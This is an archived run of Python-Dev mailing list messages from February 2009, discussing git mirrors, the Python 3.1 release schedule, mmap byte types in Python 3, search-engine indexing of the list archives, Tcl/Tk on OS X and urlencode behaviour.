at ripton.net Fri Feb 27 22:51:19 2009 From: dripton at ripton.net (David Ripton) Date: Fri, 27 Feb 2009 13:51:19 -0800 Subject: [Python-Dev] Instructions on using git mirror In-Reply-To: <20090227154817.GB24580@arctrix.com> References: <20090227052116.GA18994@arctrix.com> <20090227154817.GB24580@arctrix.com> Message-ID: <20090227215119.GA20325@vidar.dreamhost.com> On 2009.02.27 09:48:17 -0600, Neil Schemenauer wrote: > On Fri, Feb 27, 2009 at 08:36:08AM -0600, Brad Miller wrote: > > when I get to the step git svn fetch I get the following error: > > zsh-% git svn fetch > > Permission denied (publickey). > > Network connection closed unexpectedly: Connection closed unexpectedly at > > /opt/local/bin/git-svn line 1385 > > > > > > Is there a prerequisite that I get some kind of ssh key pair setup with the > > svn repository? I thought that was only for committers. > > Sorry, the instructions don't work for read-only access. I've > updated them. You need to use: > > git svn init http://svn.python.org/projects/python/trunk > > for read-only access to SVN. I don't see any point to using Neil's complicated dual-remote git + git-svn setup if you don't have commit access. For that matter, as long as Neil's git mirrors work well, I don't see any point to using git-svn at all if you don't have commit access. The whole idea of Neil's scheme is that you can use (fast) git to pull changes from the git mirrors, and (slow but compatible) git-svn to push changes to svn. Neat and clever, but complex and possibly brittle. If you don't have commit access then you can't push changes to svn anyway, so you don't need the git-svn half of the setup, so you should just git-clone Neil's repo and be happy with the much simpler setup. -- David Ripton dripton at ripton.net From brett at python.org Fri Feb 27 23:24:44 2009 From: brett at python.org (Brett Cannon) Date: Fri, 27 Feb 2009 14:24:44 -0800 Subject: [Python-Dev] Instructions on using git mirror In-Reply-To: <61339809-37B9-42FD-AFA5-4FBB82BB422C@python.org> References: <20090227052116.GA18994@arctrix.com> <20090227154817.GB24580@arctrix.com> <2778C919-3351-4B89-B450-3D59F87A3485@python.org> <61339809-37B9-42FD-AFA5-4FBB82BB422C@python.org> Message-ID: On Fri, Feb 27, 2009 at 14:19, Barry Warsaw wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > On Feb 27, 2009, at 3:31 PM, Brett Cannon wrote: > > Until we are willing to say these mirrors are not experimental all the >> instructions should probably go in the wiki. >> > > Where's a good place for this? I'm thinking three bullets under "Core > Development" on this page: http://wiki.python.org/moin/ > > I certainly don't want to spend my weekend moving all the dev resources > into the wiki, What do you mean "all dev resources"? I am just talking about your experimental bzr page which is probably in reST which makes it a copy-n-paste job into the wiki. > but I'd be willing to set up these bullets, move the bazaar pages to the > wiki, and set up the redirect. Then the hg and git folks can fill out there > own links. > Fine by me. -------------- next part -------------- An HTML attachment was scrubbed... URL: From ncoghlan at gmail.com Sat Feb 28 00:32:42 2009 From: ncoghlan at gmail.com (Nick Coghlan) Date: Sat, 28 Feb 2009 09:32:42 +1000 Subject: [Python-Dev] draft 3.1 release schedule In-Reply-To: <1afaf6160902271354hc8a00a7m378692efb568d006@mail.gmail.com> References: <1afaf6160902141229p2c10bba1i9acd7c61149f156e@mail.gmail.com> <1afaf6160902151523k6ca3bd9bwab7eea0ee13aeaa3@mail.gmail.com> <24B768ED78474E5C84694DB5DD12021A@RaymondLaptop1> <1afaf6160902271354hc8a00a7m378692efb568d006@mail.gmail.com> Message-ID: <49A8781A.60309@gmail.com> Benjamin Peterson wrote: > 2009/2/27 Raymond Hettinger : >>>>> You might also want to collect a list of serious changes that you want >>>>> in this release; I know I/O in C is on the list (and without it I >>>>> wouldn't consider it worth releasing) but there may be others. The >>>>> developers of such features ought to be on board with delivering their >>>>> code before the first beta. >>>> I've started a list on the release PEP [1]. >>>> >>>> [1] http://www.python.org/dev/peps/pep-0375/ >>> I think you could add "update json package to reflect the current >>> simplejson >>> version" (see http://bugs.python.org/issue4136). >> Also, I'm expecting that ordered dictionaries will be ready: >> http://www.python.org/dev/peps/pep-0372/ > > Thanks. I've added these items to the PEP. I should have a PEP (and implementation) ready for alpha 2 to address the current discrepancy between contextlib.nested and actual nested with statements: http://bugs.python.org/issue5251 If you do add a reference to that bug report to the release PEP, mark fixing it as a maybe though - with the associated PEP not even written yet, I obviously still have some work to do to get the semantic change approved by Guido and the rest of python-dev. Cheers, Nick. -- Nick Coghlan | ncoghlan at gmail.com | Brisbane, Australia --------------------------------------------------------------- From benjamin at python.org Sat Feb 28 00:41:35 2009 From: benjamin at python.org (Benjamin Peterson) Date: Fri, 27 Feb 2009 17:41:35 -0600 Subject: [Python-Dev] draft 3.1 release schedule In-Reply-To: <49A8781A.60309@gmail.com> References: <1afaf6160902141229p2c10bba1i9acd7c61149f156e@mail.gmail.com> <1afaf6160902151523k6ca3bd9bwab7eea0ee13aeaa3@mail.gmail.com> <24B768ED78474E5C84694DB5DD12021A@RaymondLaptop1> <1afaf6160902271354hc8a00a7m378692efb568d006@mail.gmail.com> <49A8781A.60309@gmail.com> Message-ID: <1afaf6160902271541y6e6d5937ieab4c3b0f111a5cc@mail.gmail.com> 2009/2/27 Nick Coghlan schrieb: > > I should have a PEP (and implementation) ready for alpha 2 to address > the current discrepancy between contextlib.nested and actual nested with > statements: > http://bugs.python.org/issue5251 > > If you do add a reference to that bug report to the release PEP, mark > fixing it as a maybe though - with the associated PEP not even written > yet, I obviously still have some work to do to get the semantic change > approved by Guido and the rest of python-dev. Ok. I've added it. -- Regards, Benjamin From srittau at jroger.in-berlin.de Sat Feb 28 00:57:20 2009 From: srittau at jroger.in-berlin.de (Sebastian Rittau) Date: Sat, 28 Feb 2009 00:57:20 +0100 Subject: [Python-Dev] Duck-typing self In-Reply-To: <20090218223209.GA5978@jroger.in-berlin.de> References: <20090218223209.GA5978@jroger.in-berlin.de> Message-ID: <20090227235720.GA8470@jroger.in-berlin.de> On Wed, Feb 18, 2009 at 11:32:09PM +0100, Sebastian Rittau wrote: > I am curious why the following will not work in Python: > > class foo(object): > def bar(self): > print self.attr > > class duck(object): > attr = 3.14 > > foo.bar(duck()) Thanks to everybody who has responded on-list or in private. Actually Guido blogged about this design decision (among other things) in his latest post to the "The History of Python" blog: . - Sebastian From ncoghlan at gmail.com Sat Feb 28 01:03:43 2009 From: ncoghlan at gmail.com (Nick Coghlan) Date: Sat, 28 Feb 2009 10:03:43 +1000 Subject: [Python-Dev] Googlebot and the mail.python.org python-dev archive Message-ID: <49A87F5F.9000901@gmail.com> Is anyone else having trouble getting the python.org mail archive to turn up in Google searches for python-dev messages? I prefer to use that archive rather than one of the multitude of 3rd party archives when linking posts from PEPs and tracker issues, but for the last few weeks I've had to go find the messages directly on the archive pages rather than being able to grab them from a search. Example search (note that the top python.org hits are from 2006, but a 3rd party archive has the discussion I was after at the top of the list): http://www.google.com/search?hl=en&q=inurl%3Apython-dev+contextlib.nested&btnG=Search Searching the python.org archive specifically shows that the relevant recent messages aren't in the search index at all: http://www.google.com/search?q=inurl:pipermail+inurl:python-dev+contextlib.nested&hl=en&filter=0 Cheers, Nick. -- Nick Coghlan | ncoghlan at gmail.com | Brisbane, Australia --------------------------------------------------------------- From guido at python.org Sat Feb 28 01:12:01 2009 From: guido at python.org (Guido van Rossum) Date: Fri, 27 Feb 2009 16:12:01 -0800 Subject: [Python-Dev] Googlebot and the mail.python.org python-dev archive In-Reply-To: <49A87F5F.9000901@gmail.com> References: <49A87F5F.9000901@gmail.com> Message-ID: I think the better syntax would be to add site:mail.python.org to the query, but you're right, that doesn't seem to find recent messages. Maybe the absence of a robots.txt file on mail.python.org could be a partial explanation? (Disclaimer: I may work for Google, and Google's first crawler may have been written in Python, but I haven't the foggiest idea about how our crawler works these days.) --Guido On Fri, Feb 27, 2009 at 4:03 PM, Nick Coghlan wrote: > Is anyone else having trouble getting the python.org mail archive to > turn up in Google searches for python-dev messages? > > I prefer to use that archive rather than one of the multitude of 3rd > party archives when linking posts from PEPs and tracker issues, but for > the last few weeks I've had to go find the messages directly on the > archive pages rather than being able to grab them from a search. > > Example search (note that the top python.org hits are from 2006, but a > 3rd party archive has the discussion I was after at the top of the list): > http://www.google.com/search?hl=en&q=inurl%3Apython-dev+contextlib.nested&btnG=Search > > Searching the python.org archive specifically shows that the relevant > recent messages aren't in the search index at all: > http://www.google.com/search?q=inurl:pipermail+inurl:python-dev+contextlib.nested&hl=en&filter=0 > > Cheers, > Nick. > > -- > Nick Coghlan ? | ? ncoghlan at gmail.com ? | ? Brisbane, Australia > --------------------------------------------------------------- > _______________________________________________ > Python-Dev mailing list > Python-Dev at python.org > http://mail.python.org/mailman/listinfo/python-dev > Unsubscribe: http://mail.python.org/mailman/options/python-dev/guido%40python.org > -- --Guido van Rossum (home page: http://www.python.org/~guido/) From zvezdan at zope.com Sat Feb 28 06:43:40 2009 From: zvezdan at zope.com (Zvezdan Petkovic) Date: Sat, 28 Feb 2009 00:43:40 -0500 Subject: [Python-Dev] Instructions on using git mirror In-Reply-To: References: <20090227052116.GA18994@arctrix.com> <20090227154817.GB24580@arctrix.com> <2778C919-3351-4B89-B450-3D59F87A3485@python.org> Message-ID: <3C2AB15E-2F98-4ABD-AAA1-E7271BF305ED@zope.com> On Feb 27, 2009, at 3:31 PM, Brett Cannon wrote: > We should probably put these, and the Mercurial information on the > python.org website, perhaps as siblings of the Bazaar information. > Or maybe it should all move to the wiki. > > Until we are willing to say these mirrors are not experimental all > the instructions should probably go in the wiki. That's fine, but I think the original poster has a point in using the word siblings. Right now, only Bazaar is prominently displayed on the http://www.python.org/dev/ It's both in the menu on the left side and in the Source Code links in the main content. A newcomer could think that Bazaar is the only DVCS python developers are experimenting with. Supplying links for the Mercurial and Git experimental repos (or wiki pages about them) would put them at least on equal footing with Bazaar in terms of exposure. In terms of technical merit they are obviously on a more than equal footing. :-) Zvezdan From nas at arctrix.com Sat Feb 28 08:54:23 2009 From: nas at arctrix.com (Neil Schemenauer) Date: Sat, 28 Feb 2009 07:54:23 +0000 (UTC) Subject: [Python-Dev] Instructions on using git mirror References: <20090227052116.GA18994@arctrix.com> <20090227154817.GB24580@arctrix.com> <20090227215119.GA20325@vidar.dreamhost.com> Message-ID: David Ripton wrote: > I don't see any point to using Neil's complicated dual-remote git + > git-svn setup if you don't have commit access. Good point. I will write another, hopefully simpler, set of instructions for read-only access. Neil From g.brandl at gmx.net Sat Feb 28 11:25:18 2009 From: g.brandl at gmx.net (Georg Brandl) Date: Sat, 28 Feb 2009 11:25:18 +0100 Subject: [Python-Dev] Googlebot and the mail.python.org python-dev archive In-Reply-To: References: <49A87F5F.9000901@gmail.com> Message-ID: Guido van Rossum schrieb: > I think the better syntax would be to add site:mail.python.org to the > query, but you're right, that doesn't seem to find recent messages. > Maybe the absence of a robots.txt file on mail.python.org could be a > partial explanation? Doesn't the absence of a robots.txt mean "you may index everything"? Georg -- Thus spake the Lord: Thou shalt indent with four spaces. No more, no less. Four shall be the number of spaces thou shalt indent, and the number of thy indenting shall be four. Eight shalt thou not indent, nor either indent thou two, excepting that thou then proceed to four. Tabs are right out. From solipsis at pitrou.net Sat Feb 28 11:37:09 2009 From: solipsis at pitrou.net (Antoine Pitrou) Date: Sat, 28 Feb 2009 10:37:09 +0000 (UTC) Subject: [Python-Dev] =?utf-8?q?Googlebot_and_the_mail=2Epython=2Eorg_pyth?= =?utf-8?q?on-dev=09archive?= References: <49A87F5F.9000901@gmail.com> Message-ID: Georg Brandl gmx.net> writes: > > Guido van Rossum schrieb: > > I think the better syntax would be to add site:mail.python.org to the > > query, but you're right, that doesn't seem to find recent messages. > > Maybe the absence of a robots.txt file on mail.python.org could be a > > partial explanation? > > Doesn't the absence of a robots.txt mean "you may index everything"? It does. However, pages such as: http://mail.python.org/pipermail/python-dev/ (and, it seems, all other pipermail-generated archive pages) have the following HTML tag in them: which explicitly instructs Web spiders *not* to index contents nor follow links. Regards Antoine. From ocean-city at m2.ccsnet.ne.jp Sat Feb 28 12:19:00 2009 From: ocean-city at m2.ccsnet.ne.jp (Hirokazu Yamamoto) Date: Sat, 28 Feb 2009 20:19:00 +0900 Subject: [Python-Dev] What type of object mmap.read_byte should return on py3k? Message-ID: <49A91DA4.5080903@m2.ccsnet.ne.jp> Hello. I noticed mmap.read_byte returns 1-length unicode on py3k. I felt this was strange, so I created issue on bug tracker (http://bugs.python.org/issue5391) and Martin proposed this is suitable for discussion on python-dev. I'll quote messages on bug tracker here. I wrote: > On Python3000, mmap.read_byte returns str not bytes, and mmap.write_byte > accepts str. Is this intended behavior? > >>>> import mmap >>>> m = mmap.mmap(-1, 10) >>>> type(m.read_byte()) > >>>> m.write_byte("a") >>>> m.write_byte(b"a") > > Maybe another possibility. read_byte() returns int which represents > byte, write_byte accepts int which represents byte. (Like b"abc"[0] > returns int not 1-length bytes) Martin wrote: > Indeed, I think it should use the "b" code, instead of the "c" code. > Please discuss this on python-dev, though. > > It might not be ok to backport this to 3.0, since it may break existing > code. > Furthermore, all other uses of the "c" code might need to be reconsidered. From ncoghlan at gmail.com Sat Feb 28 12:53:10 2009 From: ncoghlan at gmail.com (Nick Coghlan) Date: Sat, 28 Feb 2009 21:53:10 +1000 Subject: [Python-Dev] Googlebot and the mail.python.org python-dev archive In-Reply-To: References: <49A87F5F.9000901@gmail.com> Message-ID: <49A925A6.3050106@gmail.com> Antoine Pitrou wrote: > Georg Brandl gmx.net> writes: >> Guido van Rossum schrieb: >>> I think the better syntax would be to add site:mail.python.org to the >>> query, but you're right, that doesn't seem to find recent messages. >>> Maybe the absence of a robots.txt file on mail.python.org could be a >>> partial explanation? >> Doesn't the absence of a robots.txt mean "you may index everything"? > > It does. > However, pages such as: > http://mail.python.org/pipermail/python-dev/ > (and, it seems, all other pipermail-generated archive pages) > have the following HTML tag in them: > > which explicitly instructs Web spiders *not* to index contents nor follow links. That's not quite true - that meta tag says not to index the current page, but *do* follow the links to other pages. The archive page and the monthly summary pages say the same two things. Once you get down to the individual post level, then it switches around - the meta tags on those pages say to index the page and NOT to follow links. Those settings actually makes a certain amount of sense - it should encourage the actual messages to turn up in search results rather than the index pages pointing to those messages. The top-level list of mailing lists and the description pages for each list don't have the meta tag at all, so they should all be both indexed and the links followed. However, I checked on Wayback and it hasn't archived anything from mail.python.org since late 2007, suggesting there may be something about the current setup that well behaved web crawlers don't like. Is pydotorg-www still the place for website questions?* If so, I should probably take this over there... Cheers, Nick. * I ask because that list doesn't appear to have seen any traffic since May last year... -- Nick Coghlan | ncoghlan at gmail.com | Brisbane, Australia --------------------------------------------------------------- From ncoghlan at gmail.com Sat Feb 28 13:01:09 2009 From: ncoghlan at gmail.com (Nick Coghlan) Date: Sat, 28 Feb 2009 22:01:09 +1000 Subject: [Python-Dev] What type of object mmap.read_byte should return on py3k? In-Reply-To: <49A91DA4.5080903@m2.ccsnet.ne.jp> References: <49A91DA4.5080903@m2.ccsnet.ne.jp> Message-ID: <49A92785.6010508@gmail.com> Hirokazu Yamamoto wrote: > Hello. I noticed mmap.read_byte returns 1-length unicode on py3k. I felt > this was strange, so I created issue on bug tracker > (http://bugs.python.org/issue5391) and Martin proposed this is suitable > for discussion on python-dev. I'll quote messages on bug tracker here. > > I wrote: >> On Python3000, mmap.read_byte returns str not bytes, and mmap.write_byte >> accepts str. Is this intended behavior? >> >>>>> import mmap >>>>> m = mmap.mmap(-1, 10) >>>>> type(m.read_byte()) >> >>>>> m.write_byte("a") >>>>> m.write_byte(b"a") >> >> Maybe another possibility. read_byte() returns int which represents >> byte, write_byte accepts int which represents byte. (Like b"abc"[0] >> returns int not 1-length bytes) > > Martin wrote: >> Indeed, I think it should use the "b" code, instead of the "c" code. >> Please discuss this on python-dev, though. >> >> It might not be ok to backport this to 3.0, since it may break existing >> code. > >> Furthermore, all other uses of the "c" code might need to be >> reconsidered. It certainly seems like mmap should be playing in an all-bytes world (where only already encoded strings are allowed). On the specific question of whether it would be better for read_byte()/write_byte to use 1-length bytes objects or integers, I have no strong opinion (the former is closer to the 2.x class API, the later more consistent with the operation of the 3.x bytes class). However, as Martin says, it wouldn't be reasonable to backport the fixes in this to 3.0 - the associated API changes would almost certainly break otherwise working code. Cheers, Nick. -- Nick Coghlan | ncoghlan at gmail.com | Brisbane, Australia --------------------------------------------------------------- From solipsis at pitrou.net Sat Feb 28 13:19:55 2009 From: solipsis at pitrou.net (Antoine Pitrou) Date: Sat, 28 Feb 2009 12:19:55 +0000 (UTC) Subject: [Python-Dev] =?utf-8?q?Googlebot_and_the_mail=2Epython=2Eorg_pyth?= =?utf-8?q?on-dev=09archive?= References: <49A87F5F.9000901@gmail.com> <49A925A6.3050106@gmail.com> Message-ID: Nick Coghlan gmail.com> writes: > > > > > which explicitly instructs Web spiders *not* to index contents nor follow links. > > That's not quite true - that meta tag says not to index the current > page, but *do* follow the links to other pages. The archive page and the > monthly summary pages say the same two things. For some mysterious reason my brain had read "nofollow" in the above. Well, nevermind. cheers Antoine. From amk at amk.ca Sat Feb 28 15:05:02 2009 From: amk at amk.ca (A.M. Kuchling) Date: Sat, 28 Feb 2009 09:05:02 -0500 Subject: [Python-Dev] Googlebot and the mail.python.org python-dev?archive In-Reply-To: References: <49A87F5F.9000901@gmail.com> Message-ID: <20090228140502.GB12527@amk.local> On Sat, Feb 28, 2009 at 10:37:09AM +0000, Antoine Pitrou wrote: > have the following HTML tag in them: > > which explicitly instructs Web spiders *not* to index contents nor follow links. I believe this makes spiders not index this page, but does follow links. Individual messages have "index,nofollow". --amk From ocean-city at m2.ccsnet.ne.jp Sat Feb 28 15:06:38 2009 From: ocean-city at m2.ccsnet.ne.jp (Hirokazu Yamamoto) Date: Sat, 28 Feb 2009 23:06:38 +0900 Subject: [Python-Dev] What type of object mmap.read_byte should return on py3k? In-Reply-To: <49A92785.6010508@gmail.com> References: <49A91DA4.5080903@m2.ccsnet.ne.jp> <49A92785.6010508@gmail.com> Message-ID: <49A944EE.309@m2.ccsnet.ne.jp> > It certainly seems like mmap should be playing in an all-bytes world > (where only already encoded strings are allowed). Agreed. > On the specific > question of whether it would be better for read_byte()/write_byte to use > 1-length bytes objects or integers, I have no strong opinion (the former > is closer to the 2.x class API, the later more consistent with the > operation of the 3.x bytes class). Personally, I was surprised when I saw b"0123"[1] != b"1". But I don't have strong opinion neither. > However, as Martin says, it wouldn't be reasonable to backport the fixes > in this to 3.0 - the associated API changes would almost certainly break > otherwise working code. Agreed. I greped py3k source tree with "c", I found another Py_BuildValue("c" in curse module. But this function returns unicode in else clause, so probably this is correct usage. Modules\mmapmodule.c(207): return Py_BuildValue("c", value); Modules\_cursesmodule.c(893): return Py_BuildValue("c", rtn); Modules\_dbmmodule.c(380): else if ( strcmp(flags, "c") == 0 ) Modules\_ctypes\cfield.c(112): if (idict->getfunc == getentry("c")->getfunc) { Modules\_ctypes\stgdict.c(459): if (dict->getfunc != getentry("c")->getfunc Modules\_ctypes\_ctypes.c(1372): if (itemdict->getfunc == getentry("c")->getfunc) { Modules\_ctypes\_ctypes.c(1536): if (dict && (dict->setfunc == getentry("c")->setfunc)) { Modules\_ctypes\_ctypes.c(1545): if (dict && (dict->setfunc == getentry("c")->setfunc)) { Modules\_ctypes\_ctypes.c(4197): if (itemdict->getfunc == getentry("c")->getfunc) { Modules\_ctypes\_ctypes.c(4890): if (itemdict->getfunc == getentry("c")->getfunc) { PC\os2emx\getpathp.c(128): strcat(filename, Py_OptimizeFlag ? "o" : "c"); Python\import.c(1756): strcpy(buf+i, Py_OptimizeFlag ? "o" : "c"); From victor.stinner at haypocalc.com Sat Feb 28 15:21:48 2009 From: victor.stinner at haypocalc.com (Victor Stinner) Date: Sat, 28 Feb 2009 15:21:48 +0100 Subject: [Python-Dev] What type of object mmap.read_byte should return on py3k? In-Reply-To: <49A91DA4.5080903@m2.ccsnet.ne.jp> References: <49A91DA4.5080903@m2.ccsnet.ne.jp> Message-ID: <200902281521.48100.victor.stinner@haypocalc.com> About m.read_byte(), we have two choices: (a) Py_BuildValue("b", value) => 0 (b) Py_BuildValue("y#", &value, 1) => b"\x00" About m.write_byte(x), we have also two choices: (a) PyArg_ParseTuple(args, "b:write_byte", &value): write_byte(0) (b) PyArg_ParseTuple(args, "y#:write_byte", &value, &length) and check for length=1: write_byte(b"\x00") (b) choices are close to Python 2.x API. But we can already use m.read(1)->b"\x00" and m.write(b"\x00") to use byte string of 1 byte. So it would be better to break the API and use integers, (a) choices which require also documentation changes: mmap.read_byte() Returns a string of length 1 containing the character at the current file position, and advances the file position by 1. mmap.write_byte(byte) Write the single-character string byte into memory at the current position of the file pointer; the file position is advanced by 1. If the mmap was created with ACCESS_READ, then writing to it will throw a TypeError exception. -- Victor Stinner aka haypo http://www.haypocalc.com/blog/ From victor.stinner at haypocalc.com Sat Feb 28 15:47:18 2009 From: victor.stinner at haypocalc.com (Victor Stinner) Date: Sat, 28 Feb 2009 15:47:18 +0100 Subject: [Python-Dev] =?iso-8859-1?q?What_type_of_object_mmap=2Eread=5Fbyt?= =?iso-8859-1?q?e_should_return_on=09py3k=3F?= In-Reply-To: <49A944EE.309@m2.ccsnet.ne.jp> References: <49A91DA4.5080903@m2.ccsnet.ne.jp> <49A92785.6010508@gmail.com> <49A944EE.309@m2.ccsnet.ne.jp> Message-ID: <200902281547.18484.victor.stinner@haypocalc.com> Le Saturday 28 February 2009 15:06:38 Hirokazu Yamamoto, vous avez ?crit?: > I greped py3k source tree with "c", I found another Py_BuildValue("c" in > curse module. But this function returns unicode in else clause, so > probably this is correct usage. I used different regex on to catch "...c..." with Py_BuildValue and PyArg_Parse... because a function may have other arguments or specify the function name with "...:name": http://bugs.python.org/issue5391 It looks like msvcrt.putch(char) and msvcrt.ungetch(char) use the wrong types. -- Victor Stinner aka haypo http://www.haypocalc.com/blog/ From ocean-city at m2.ccsnet.ne.jp Sat Feb 28 16:23:28 2009 From: ocean-city at m2.ccsnet.ne.jp (Hirokazu Yamamoto) Date: Sun, 01 Mar 2009 00:23:28 +0900 Subject: [Python-Dev] What type of object mmap.read_byte should return on py3k? In-Reply-To: <200902281521.48100.victor.stinner@haypocalc.com> References: <49A91DA4.5080903@m2.ccsnet.ne.jp> <200902281521.48100.victor.stinner@haypocalc.com> Message-ID: <49A956F0.9050700@m2.ccsnet.ne.jp> Victor Stinner wrote: > About m.read_byte(), we have two choices: > (a) Py_BuildValue("b", value) => 0 > (b) Py_BuildValue("y#", &value, 1) => b"\x00" > > About m.write_byte(x), we have also two choices: > (a) PyArg_ParseTuple(args, "b:write_byte", &value): write_byte(0) > (b) PyArg_ParseTuple(args, "y#:write_byte", &value, &length) and > check for length=1: write_byte(b"\x00") > > (b) choices are close to Python 2.x API. But we can already use > m.read(1)->b"\x00" and m.write(b"\x00") to use byte string of 1 byte. So it > would be better to break the API and use integers, (a) choices which require > also documentation changes: I'm +1 for (a) because mmap.__getitem__ already returns integer not 1-length bytes. And as I wrote in http://bugs.python.org/msg82912, it seems that more bytes cleanup is needed in mmap documentaion/implementation. I hope someone else will look into other modules' ones. ;-) From ronaldoussoren at mac.com Sat Feb 28 16:44:19 2009 From: ronaldoussoren at mac.com (Ronald Oussoren) Date: Sat, 28 Feb 2009 16:44:19 +0100 Subject: [Python-Dev] OS X Installer for 3.0.1 and supported versions In-Reply-To: References: Message-ID: On 27 Feb, 2009, at 1:57, Ned Deily wrote: > In article , > "Russell E. Owen" wrote: >> I want to follow up on this a bit. In the past if the Mac Python >> installer was built on a machine that did NOT have a locally >> installed >> Tcl/Tk then it would fail to work with a locally installed Tcl/Tk: >> Python would segfault when trying to use Tkinter. >> >> The solution was to build the Mac python installer on a machine >> with a >> locally installed Tcl/Tk. The resulting installer package would >> work on >> all systems -- with or without locally installed Tcl/Tk. >> >> So...has this problem been worked around, or is the Mac installer >> still >> built on a machine that has a locally installed Tcl/Tk? > > Ronald will have to answer that for sure since he built the installer > for 3.0.1. > > However, it seems to be true that the most recent python.org OS X > installers will always favor a /System/Library/Frameworks/{Tcl/Tk}: That's correct, I don't have a locally installed Tcl/Tk on my laptop at the moment and couldn't arrange for one in time for the 3.0.1 release. BTW. The fact that this should result in crashes when a user does have a locally installed Tcl/Tk is new to me. The reason earlier builds of the OSX installer were build with a locally installed Tcl/Tk is that several Tkinter users indicated that the system version is significantly less useful than a local install. > >> Most people who makes serious use of Tkinter presumably have a >> locally >> installed Tcl/Tk because the version that Apple provides is ancient >> and >> is missing many important bug fixes and performance enhancements. >> >> Also, a somewhat related issue: Tcl/Tk 8.4 is no longer maintained. >> All >> development work is going on in Tcl/Tk 8.5. Presumably Apple will >> transition one of these days, and at that point we may need a >> separate >> Mac Python installer for the older operating systems vs. the newer. > > Yes, something will need to be done for that if Snow Leopard does have > newer versions. > > Thanks for bringing this up! Do Python 2.6 and 3.0 support building with Tcl/Tk 8.5? I vaguely recall messages about issues on python-dev but don't know if those issues were real and/or solved. Ronald -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/pkcs7-signature Size: 2224 bytes Desc: not available URL: From pedronis at openend.se Sat Feb 28 16:53:09 2009 From: pedronis at openend.se (Samuele Pedroni) Date: Sat, 28 Feb 2009 16:53:09 +0100 Subject: [Python-Dev] Challenge: Please break this! [Now with blog post] In-Reply-To: References: <49A32E33.5090607@v.loewis.de> Message-ID: <49A95DE5.5070507@openend.se> Guido van Rossum wrote: > On Mon, Feb 23, 2009 at 3:16 PM, "Martin v. L?wis" wrote: > >>> Don't I remember the previous restricted module dying a similar "death >>> of 1,000 cuts" before it was concluded to be unsafe at any height and >>> abandoned? >>> >> I think you are slightly misremembering. It got cut again and again, >> but never died. Then, new-style classes hit an artery, and it bled >> to death. >> >> I'm curious how this one fares. >> > > FWIW, I am remembering more about how Samuele cracked it. It had to do > with getting the supervisor code to call one of its own functions with > arguments provided by the sandboxed code. Tav's safelite.py doesn't > seem to be directly exploitable that way because (using ctypes hacks) > it *removes* some offending special methods. But that door would be at > least slightly ajar with Tar's proposed patch to Python, as that > doesn't remove the offending attributes (__subclasses__ etc.); it only > forbids them in restricted mode. But this once again enables Samuele's > hack. (Oh if I only could find the link with the actual attack -- it > was quite a bit more devious than attacks linked to so far.) > > http://mail.python.org/pipermail/python-dev/2003-March/033978.html From amk at amk.ca Sat Feb 28 18:36:20 2009 From: amk at amk.ca (A.M. Kuchling) Date: Sat, 28 Feb 2009 12:36:20 -0500 Subject: [Python-Dev] Googlebot and the mail.python.org python-dev archive In-Reply-To: <49A925A6.3050106@gmail.com> References: <49A87F5F.9000901@gmail.com> <49A925A6.3050106@gmail.com> Message-ID: <20090228173620.GA12698@amk.local> On Sat, Feb 28, 2009 at 09:53:10PM +1000, Nick Coghlan wrote: > Is pydotorg-www still the place for website questions?* If so, I should > probably take this over there... Just 'pydotorg' is the current list (http://mail.python.org/mailman/listinfo/pydotorg). Looking at the access logs, mail.python.org is being actively crawled: 66.249.71.119 - - [28/Feb/2009:18:32:51 +0100] "GET /pipermail/python-list/2004-June/265194.html HTTP/1.1" 304 - "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 72.30.79.38 - - [28/Feb/2009:18:32:51 +0100] "GET /pipermail/csv/2003-February/000368.html HTTP/1.0" 200 3929 "-" "Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)" 65.55.211.30 - - [28/Feb/2009:18:32:51 +0100] "GET /pipermail/python-list/2006-May/382528.html HTTP/1.1" 200 4028 "-" "msnbot/1.1 (+http://search.msn.com/msnbot.htm)" Is it maybe that the site is just too large, so the search engines index only 10,000 messages from it? One possible solution might be to block crawling of the python-list archive; it's enormous, and already available through Google's Usenet search. --amk From dan.mahn at digidescorp.com Sat Feb 28 21:28:43 2009 From: dan.mahn at digidescorp.com (Dan Mahn) Date: Sat, 28 Feb 2009 14:28:43 -0600 Subject: [Python-Dev] More on Py3K urllib -- urlencode() Message-ID: <49A99E7B.7030602@digidescorp.com> Hi. I've been using Py3K successfully for a while now, and have some questions about urlencode(). 1) The docs mention that items sent to urlencode() are quoted using quote_plus(). However, instances of type "bytes" are not handled like they are with quote_plus() because urlencode() converts the parameters to strings first (which then puts a small "b" and single quotes around a textual representation of the bytes). It just seems to me that instances of type "bytes" should be passed directly to quote_plus(). That would complicate the code just a bit, but would end up being much more intuitive and useful. 2) If urlencode() relies so heavily on quote_plus(), then why doesn't it include the extra encoding-related parameters that quote_plus() takes? 3) Regarding the following code fragment in urlencode(): k = quote_plus(str(k)) if isinstance(v, str): v = quote_plus(v) l.append(k + '=' + v) elif isinstance(v, str): # is there a reasonable way to convert to ASCII? # encode generates a string, but "replace" or "ignore" # lose information and "strict" can raise UnicodeError v = quote_plus(v.encode("ASCII","replace")) l.append(k + '=' + v) I don't understand how the "elif" section is invoked, as it uses the same condition as the "if" section. Thanks in advance for any thoughts on this issue. I could submit a patch for urlencode() to better explain my ideas if that would be useful. - Dan From martin at v.loewis.de Sat Feb 28 21:53:33 2009 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Sat, 28 Feb 2009 21:53:33 +0100 Subject: [Python-Dev] OS X Installer for 3.0.1 and supported versions In-Reply-To: References: Message-ID: <49A9A44D.4060506@v.loewis.de> > Do Python 2.6 and 3.0 support building with Tcl/Tk 8.5? Yes, that works fine. The Windows binaries ship with 8.5, and there weren't any complaints (in this respect). Regards, Martin From janssen at parc.com Sat Feb 28 23:08:33 2009 From: janssen at parc.com (Bill Janssen) Date: Sat, 28 Feb 2009 14:08:33 PST Subject: [Python-Dev] More on Py3K urllib -- urlencode() In-Reply-To: <49A99E7B.7030602@digidescorp.com> References: <49A99E7B.7030602@digidescorp.com> Message-ID: <34291.1235858913@parc.com> Dan Mahn wrote: > 3) Regarding the following code fragment in urlencode(): > > k = quote_plus(str(k)) > if isinstance(v, str): > v = quote_plus(v) > l.append(k + '=' + v) > elif isinstance(v, str): > # is there a reasonable way to convert to ASCII? > # encode generates a string, but "replace" or "ignore" > # lose information and 